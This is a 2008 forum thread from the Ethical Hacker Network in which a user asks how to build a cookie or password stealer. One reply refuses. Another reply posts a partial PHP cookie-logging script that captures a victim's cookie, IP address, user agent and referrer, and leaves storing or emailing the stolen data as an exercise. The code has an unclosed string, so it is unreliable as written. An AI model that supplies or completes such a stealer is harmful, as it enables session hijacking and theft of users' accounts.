Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 62 guests and 1 member online
 
Advertisement

You are here: Home arrow Resourcesarrow Tutorialsarrow How to....
EH-Net
May 19, 2013, 07:07:38 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: How to....  (Read 7690 times)
0 Members and 1 Guest are viewing this topic.
Joker669
Newbie
*
Offline Offline

Posts: 1


View Profile
« on: June 06, 2008, 02:06:48 PM »

could someone teach how to make a big string or a cookie/password stealer please.
Logged
shakuni
Jr. Member
**
Offline Offline

Posts: 80


View Profile
« Reply #1 on: June 06, 2008, 02:13:17 PM »

No.
Logged

There is no rule, law or tradition that apply universally... including this one.
dean
Guest
« Reply #2 on: June 06, 2008, 02:38:44 PM »

No.
why not?

joker669 here is PART of what you need to create a cookie stealer.

<?php
$cookieLog="cookie.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_globals');
$ip = getenv('REMOTE_ADDR');
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
echo('<html><body onload="window.close();"></body></html>);
?>

How to actually write it to a file or email it to yourself I leave as an exercise  for you. Can't just give everything away now can I?

I would suggest reading up on global variables in PHP.

dean
Logged
g00d_4sh
Sr. Member
****
Offline Offline

Posts: 394



View Profile
« Reply #3 on: June 06, 2008, 03:27:05 PM »

Speaking of cookies.  Anyone ever played around with cookie poisoning?  Just one of those things i've never played with.  I read an interesting article a bit ago about a gent that got some fines and jail time for using that to get free extra coupons. 
Logged

"Bad.. Good?  I'm the guy with the gun"
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.083 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.